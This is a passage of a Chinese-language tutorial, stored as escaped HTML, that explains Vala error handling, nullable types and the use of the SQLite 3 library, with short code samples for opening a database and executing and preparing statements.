class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e写函数/方法的时候,可以加入 \u003ccode\u003ethrows\u003c/code\u003e 关键字,注明会抛出啥错误。里面需要抛出错误的时候,使用 \u003ccode\u003ethrow\u003c/code\u003e 语句抛出。下面是一个例子:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 说明这个函数会抛出 DatabaseError 错误\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eopen_v2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eNAME_OF_DB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这句话,先新建一个错误类,里面写的是具体内容,然后抛出\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCOULDNT_OPEN\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Cannot create database: %d, %s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e要捕捉抛出的错误,请使用 try-catch-finally 语句:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecreateDatabase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_FLIGHT_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_HOTEL_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_BUS_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_CUSTOMER_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_RESERVATION_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 错误被捕捉到了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estderr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 可以加写一个 finally,finally 总会被运行\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eVala 的变量可以设为空值,方法是加一个问号:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这句话会报错\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这句话不会报错\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我个人认为,如果你不能确保方法确实能返回一个元素,可以使用这个。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eresult\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 我没在摸鱼\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eresult\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCatchFishBeFoundError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e当然,可以不用这么麻烦,这只是一个例子。\u003c/p\u003e\n\u003ch2 id=\"sqlite-3-库\"\u003eSQLite 3 库\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.sqlite.org/index.html\" target=\"_blank\" rel=\"noopener\"\n \u003eSQLite\u003c/a\u003e 是一个库,实现了很完备的关系数据库。它将数据库存在一个文件里,使用的时候,调用 SQLite 库相应的函数,来对这个文件数据库进行基本操作。\u003c/p\u003e\n\u003cp\u003e这东西是一个 C 语言库。但 Vala 可以使用 C 库,它使用 vapi 文件来对应 C 的头文件。(实际上 Vala 也可以写 C 语言库,毕竟这玩意最后还是会变成 C 语言来编译。)\u003c/p\u003e\n\u003cp\u003e所以说,Vala 的 SQLite 库用起来应该和 C 语言的差不多。不过请注意,Vala 是面向对象的,而 SQLite 的库在引用到 Vala 的时候,做了面向对象的处理。\u003c/p\u003e\n\u003cp\u003e使用前,引用这个库:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"数据库类\"\u003e数据库类\u003c/h3\u003e\n\u003cp\u003e如此定义一个数据库对象:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e打开数据库:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eopen_v2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e执行语句:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"数据库声明类\"\u003e数据库声明类\u003c/h3\u003e\n\u003cp\u003e定义方式如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eadd_flight\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e准备声明:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprepare\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 加不加 v2 都行,需要 sql 语句字符串,字符串长度,输出到一个 statement 类\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan 